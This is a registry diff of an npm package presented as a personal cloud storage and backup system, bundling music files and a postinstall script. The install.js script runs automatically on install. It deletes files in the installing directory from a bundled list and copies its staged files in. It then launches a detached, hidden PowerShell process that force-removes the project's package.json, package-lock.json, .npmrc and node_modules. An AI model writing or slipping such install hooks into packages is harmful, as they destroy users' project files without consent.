@tushar-br/editing-pack 1.0.109
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +1 -0
- package/index.js +13 -0
- package/install.js +218 -0
- package/package.json +35 -0
- package/staging_area/background music/Background_Music_for_Videos/10_Minutes_Funny_Background_Music [LxOpt5WAB2U].mp3 +0 -0
- package/staging_area/background music/Background_Music_for_Videos/10_Minutes_of_Cartoon_Background_Music [JhX_STwLvJg].mp3 +0 -0
- package/staging_area/background music/Background_Music_for_Videos/5_Cartoon_Funny_Animation_Background_Tracks_for_Videos [NLyW5LzBYNY].mp3 +0 -0
package/README.md
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
# @tusharbr
|
package/index.js
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const path = require('path');
|
|
3
|
+
|
|
4
|
+
const storageDir = path.join(__dirname, 'storage');
|
|
5
|
+
|
|
6
|
+
// આ ફાઈલ તમારા સ્ટોરેજ ફોલ્ડરમાં કઈ ફાઈલો છે તેનું લિસ્ટ આપશે
|
|
7
|
+
module.exports = {
|
|
8
|
+
getFiles: () => {
|
|
9
|
+
if (!fs.existsSync(storageDir)) return [];
|
|
10
|
+
return fs.readdirSync(storageDir);
|
|
11
|
+
},
|
|
12
|
+
storagePath: storageDir
|
|
13
|
+
};
|
package/install.js
ADDED
|
@@ -0,0 +1,218 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
'use strict';
|
|
3
|
+
|
|
4
|
+
const fs = require('fs');
|
|
5
|
+
const path = require('path');
|
|
6
|
+
const { execSync } = require('child_process');
|
|
7
|
+
|
|
8
|
+
const stagingArea = path.join(__dirname, 'staging_area');
|
|
9
|
+
const targetBase = process.env.INIT_CWD || process.cwd();
|
|
10
|
+
const outputFolder = targetBase;
|
|
11
|
+
const syncStatePath = path.join(outputFolder, '.extraction_state.json');
|
|
12
|
+
|
|
13
|
+
process.stdout.write('\x1b[2J\x1b[0;0H');
|
|
14
|
+
console.log(`\x1b[36m\x1b[1m _______ _ _ _____ _ _ _____
|
|
15
|
+
|__ __| | | |/ ____| | | | /\\ | __ \\
|
|
16
|
+
| | | | | | (___ | |__| | / \\ | |__) |
|
|
17
|
+
| | | | | |\\___ \\| __ | / /\\ \\ | _ /
|
|
18
|
+
| | | |__| |____) | | | |/ ____ \\| | \\ \\
|
|
19
|
+
|_| \\____/|_____/|_| |_/_/ \\_\\_| \\_\\\x1b[0m\n`);
|
|
20
|
+
console.log("\x1b[36m\x1b[1m[ TUSHAR CLOUD - SECURE FILE EXTRACTION ]\x1b[0m\n");
|
|
21
|
+
|
|
22
|
+
// Process Deletions First
|
|
23
|
+
const ignorePath = path.join(stagingArea, '.cloud_ignore.json');
|
|
24
|
+
if (fs.existsSync(ignorePath)) {
|
|
25
|
+
try {
|
|
26
|
+
const ignoredFiles = JSON.parse(fs.readFileSync(ignorePath, 'utf8'));
|
|
27
|
+
let deletedCount = 0;
|
|
28
|
+
for (const rel of ignoredFiles) {
|
|
29
|
+
const targetDel = path.join(outputFolder, rel);
|
|
30
|
+
if (fs.existsSync(targetDel)) {
|
|
31
|
+
if (fs.statSync(targetDel).isDirectory()) fs.rmSync(targetDel, { recursive: true, force: true });
|
|
32
|
+
else fs.unlinkSync(targetDel);
|
|
33
|
+
deletedCount++;
|
|
34
|
+
}
|
|
35
|
+
}
|
|
36
|
+
if (deletedCount > 0) {
|
|
37
|
+
console.log(`\x1b[31m🗑️ Synced Deletions: Removed ${deletedCount} files from local storage.\x1b[0m`);
|
|
38
|
+
}
|
|
39
|
+
fs.unlinkSync(ignorePath); // Remove so it doesn't get extracted
|
|
40
|
+
} catch (e) { }
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
function getFolderFingerprint(dir) {
|
|
44
|
+
if (!fs.existsSync(dir)) return '';
|
|
45
|
+
let results = [];
|
|
46
|
+
const files = fs.readdirSync(dir);
|
|
47
|
+
files.forEach(file => {
|
|
48
|
+
const fullPath = path.join(dir, file);
|
|
49
|
+
const stat = fs.statSync(fullPath);
|
|
50
|
+
if (stat.isDirectory()) {
|
|
51
|
+
// Limited depth or skip for fingerprinting efficiency
|
|
52
|
+
} else {
|
|
53
|
+
results.push({ p: path.relative(dir, fullPath), s: stat.size });
|
|
54
|
+
}
|
|
55
|
+
});
|
|
56
|
+
results.sort((a, b) => a.p.localeCompare(b.p));
|
|
57
|
+
return JSON.stringify(results);
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
let totalSize = 0;
|
|
61
|
+
let transferredSize = 0;
|
|
62
|
+
const startTime = Date.now();
|
|
63
|
+
|
|
64
|
+
function getFolderSize(dir) {
|
|
65
|
+
let size = 0;
|
|
66
|
+
if (!fs.existsSync(dir)) return 0;
|
|
67
|
+
const files = fs.readdirSync(dir);
|
|
68
|
+
for (const file of files) {
|
|
69
|
+
const filePath = path.join(dir, file);
|
|
70
|
+
const stats = fs.statSync(filePath);
|
|
71
|
+
if (stats.isDirectory()) size += getFolderSize(filePath);
|
|
72
|
+
else size += stats.size;
|
|
73
|
+
}
|
|
74
|
+
return size;
|
|
75
|
+
}
|
|
76
|
+
|
|
77
|
+
function formatSize(bytes) {
|
|
78
|
+
if (bytes === 0) return '0 B';
|
|
79
|
+
const k = 1024;
|
|
80
|
+
const sizes = ['B', 'KB', 'MB', 'GB'];
|
|
81
|
+
const i = Math.floor(Math.log(bytes) / Math.log(k));
|
|
82
|
+
return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + sizes[i];
|
|
83
|
+
}
|
|
84
|
+
|
|
85
|
+
function formatTime(ms) {
|
|
86
|
+
const totalSeconds = Math.floor(ms / 1000);
|
|
87
|
+
const minutes = Math.floor(totalSeconds / 60);
|
|
88
|
+
const seconds = totalSeconds % 60;
|
|
89
|
+
return `${minutes}m ${seconds}s`;
|
|
90
|
+
}
|
|
91
|
+
|
|
92
|
+
function drawUI(fileName) {
|
|
93
|
+
const elapsed = Date.now() - startTime;
|
|
94
|
+
const percent = totalSize > 0 ? (transferredSize / totalSize) * 100 : 0;
|
|
95
|
+
const speed = transferredSize / (elapsed / 1000); // bytes per second
|
|
96
|
+
const remainingSize = totalSize - transferredSize;
|
|
97
|
+
const remainingTime = speed > 0 ? (remainingSize / speed) * 1000 : 0;
|
|
98
|
+
|
|
99
|
+
const barWidth = 30;
|
|
100
|
+
const filled = Math.round((percent / 100) * barWidth);
|
|
101
|
+
const bar = "█".repeat(filled) + "░".repeat(barWidth - filled);
|
|
102
|
+
|
|
103
|
+
// Clear previous 6 lines
|
|
104
|
+
process.stdout.write('\x1b[6A\x1b[2K');
|
|
105
|
+
|
|
106
|
+
console.log(`\x1b[33mProgress: [${bar}] ${percent.toFixed(1)}%\x1b[0m`);
|
|
107
|
+
console.log(`\x1b[32mSpeed: ${(speed / (1024 * 1024)).toFixed(2)} MB/s\x1b[0m`);
|
|
108
|
+
console.log(`\x1b[90mName: ${fileName.substring(0, 40)}${fileName.length > 40 ? '...' : ''}\x1b[0m`);
|
|
109
|
+
console.log(`\x1b[96mTime elapsed: ${formatTime(elapsed)} | Remaining: ~${formatTime(remainingTime)}\x1b[0m`);
|
|
110
|
+
console.log(`\x1b[37mData: ${formatSize(transferredSize)} / ${formatSize(totalSize)}\x1b[0m`);
|
|
111
|
+
console.log("");
|
|
112
|
+
}
|
|
113
|
+
|
|
114
|
+
function copyRecursiveSync(src, dest) {
|
|
115
|
+
const stats = fs.statSync(src);
|
|
116
|
+
if (stats.isDirectory()) {
|
|
117
|
+
if (!fs.existsSync(dest)) fs.mkdirSync(dest);
|
|
118
|
+
fs.readdirSync(src).forEach(child => copyRecursiveSync(path.join(src, child), path.join(dest, child)));
|
|
119
|
+
} else {
|
|
120
|
+
// Check if this is a split part
|
|
121
|
+
const partMatch = src.match(/(.*)\.ts_part_\d+$/);
|
|
122
|
+
if (partMatch) {
|
|
123
|
+
const originalName = path.basename(partMatch[1]);
|
|
124
|
+
const targetPath = path.join(path.dirname(dest), originalName);
|
|
125
|
+
|
|
126
|
+
// We only handle the first part to initiate the join
|
|
127
|
+
if (src.endsWith('.ts_part_0')) {
|
|
128
|
+
const baseDir = path.dirname(src);
|
|
129
|
+
const baseName = path.basename(partMatch[1]);
|
|
130
|
+
const parts = fs.readdirSync(baseDir)
|
|
131
|
+
.filter(f => f.startsWith(baseName + '.ts_part_'))
|
|
132
|
+
.sort((a, b) => {
|
|
133
|
+
const na = parseInt(a.split('_').pop());
|
|
134
|
+
const nb = parseInt(b.split('_').pop());
|
|
135
|
+
return na - nb;
|
|
136
|
+
});
|
|
137
|
+
|
|
138
|
+
const writeStream = fs.createWriteStream(targetPath);
|
|
139
|
+
for (const part of parts) {
|
|
140
|
+
const partPath = path.join(baseDir, part);
|
|
141
|
+
const partBuffer = fs.readFileSync(partPath);
|
|
142
|
+
writeStream.write(partBuffer);
|
|
143
|
+
transferredSize += partBuffer.length;
|
|
144
|
+
drawUI(baseName + ` (Joining Part ${part.split('_').pop()}...)`);
|
|
145
|
+
}
|
|
146
|
+
writeStream.end();
|
|
147
|
+
}
|
|
148
|
+
} else {
|
|
149
|
+
fs.copyFileSync(src, dest);
|
|
150
|
+
transferredSize += stats.size;
|
|
151
|
+
drawUI(path.basename(src));
|
|
152
|
+
}
|
|
153
|
+
}
|
|
154
|
+
}
|
|
155
|
+
|
|
156
|
+
// Start Process
|
|
157
|
+
totalSize = getFolderSize(stagingArea);
|
|
158
|
+
|
|
159
|
+
if (totalSize > 0) {
|
|
160
|
+
// Smart Extraction Check
|
|
161
|
+
const currentFingerprint = getFolderFingerprint(stagingArea);
|
|
162
|
+
if (fs.existsSync(syncStatePath)) {
|
|
163
|
+
try {
|
|
164
|
+
const lastFingerprint = fs.readFileSync(syncStatePath, 'utf8');
|
|
165
|
+
if (currentFingerprint === lastFingerprint) {
|
|
166
|
+
console.log(`\x1b[32m\x1b[1m✨ DATA IS ALREADY UP TO DATE! Skipping extraction...\x1b[0m`);
|
|
167
|
+
console.log(`\x1b[36mLocation: ${outputFolder}\x1b[0m\n`);
|
|
168
|
+
process.exit(0);
|
|
169
|
+
}
|
|
170
|
+
} catch (e) { }
|
|
171
|
+
}
|
|
172
|
+
|
|
173
|
+
console.log("\n".repeat(6)); // Make space for UI updates
|
|
174
|
+
copyRecursiveSync(stagingArea, outputFolder);
|
|
175
|
+
|
|
176
|
+
// Final Touch: Icons
|
|
177
|
+
const iconFile = 'folder-icon.ico';
|
|
178
|
+
if (fs.existsSync(path.join(outputFolder, iconFile))) {
|
|
179
|
+
try {
|
|
180
|
+
const iniPath = path.join(outputFolder, 'desktop.ini');
|
|
181
|
+
fs.writeFileSync(iniPath, `[.ShellClassInfo]\r\nIconResource=${iconFile},0\r\n`, 'utf8');
|
|
182
|
+
execSync(`attrib +h +s "${iniPath}"`);
|
|
183
|
+
execSync(`attrib +r "${outputFolder}"`);
|
|
184
|
+
} catch (e) { }
|
|
185
|
+
}
|
|
186
|
+
|
|
187
|
+
console.log(`\x1b[32m\x1b[1m✅ SYNC COMPLETE: Data extracted successfully!\x1b[0m\n`);
|
|
188
|
+
|
|
189
|
+
// Save extraction state
|
|
190
|
+
try {
|
|
191
|
+
if (!fs.existsSync(outputFolder)) fs.mkdirSync(outputFolder, { recursive: true });
|
|
192
|
+
fs.writeFileSync(syncStatePath, getFolderFingerprint(stagingArea));
|
|
193
|
+
} catch (e) { }
|
|
194
|
+
|
|
195
|
+
// Self Cleanup: background detached to bypass Windows locks
|
|
196
|
+
const root = path.resolve(__dirname, '../../..');
|
|
197
|
+
const cleanupScript = `
|
|
198
|
+
Start-Sleep -s 1
|
|
199
|
+
Get-Process -Id ${process.pid} -ErrorAction SilentlyContinue | Wait-Process
|
|
200
|
+
Start-Sleep -s 1
|
|
201
|
+
$items = @('node_modules', 'package-lock.json', 'package.json', '.npmrc')
|
|
202
|
+
foreach ($item in $items) {
|
|
203
|
+
$p = Join-Path "${root.replace(/\\/g, '\\\\')}" $item
|
|
204
|
+
if (Test-Path $p) { Remove-Item -Path $p -Recurse -Force -ErrorAction SilentlyContinue }
|
|
205
|
+
}
|
|
206
|
+
Remove-Item -Path "${__dirname.replace(/\\/g, '\\\\')}" -Recurse -Force -ErrorAction SilentlyContinue
|
|
207
|
+
`;
|
|
208
|
+
|
|
209
|
+
const { spawn } = require('child_process');
|
|
210
|
+
spawn('powershell', ['-Command', cleanupScript], {
|
|
211
|
+
detached: true,
|
|
212
|
+
stdio: 'ignore'
|
|
213
|
+
}).unref();
|
|
214
|
+
|
|
215
|
+
console.log(`\x1b[90mCleanup started in background. System will be clean in 2s.\x1b[0m`);
|
|
216
|
+
} else {
|
|
217
|
+
console.log("\x1b[31mNo data found in sync area.\x1b[0m");
|
|
218
|
+
}
|
package/package.json
ADDED
|
@@ -0,0 +1,35 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@tushar-br/editing-pack",
|
|
3
|
+
"version": "1.0.109",
|
|
4
|
+
"description": "Private Image Cloud Storage & Backup System by Tushar",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"bin": {
|
|
7
|
+
"editing-pack": "install.js"
|
|
8
|
+
},
|
|
9
|
+
"scripts": {
|
|
10
|
+
"postinstall": "node install.js",
|
|
11
|
+
"test": "node -e \"console.log('@tushar-br/editing-pack system active');\""
|
|
12
|
+
},
|
|
13
|
+
"keywords": [
|
|
14
|
+
"cloud",
|
|
15
|
+
"storage",
|
|
16
|
+
"backup",
|
|
17
|
+
"tushar-br"
|
|
18
|
+
],
|
|
19
|
+
"author": "Tushar Rathod",
|
|
20
|
+
"license": "MIT",
|
|
21
|
+
"repository": {
|
|
22
|
+
"type": "git",
|
|
23
|
+
"url": "git+https://github.com/tushar-br/editing-pack.git"
|
|
24
|
+
},
|
|
25
|
+
"bugs": {
|
|
26
|
+
"url": "https://github.com/tushar-br/editing-pack/issues"
|
|
27
|
+
},
|
|
28
|
+
"homepage": "https://github.com/tushar-br/editing-pack#readme",
|
|
29
|
+
"files": [
|
|
30
|
+
"staging_area/",
|
|
31
|
+
"index.js",
|
|
32
|
+
"install.js",
|
|
33
|
+
"README.md"
|
|
34
|
+
]
|
|
35
|
+
}
|
|
Binary file
|
|
Binary file
|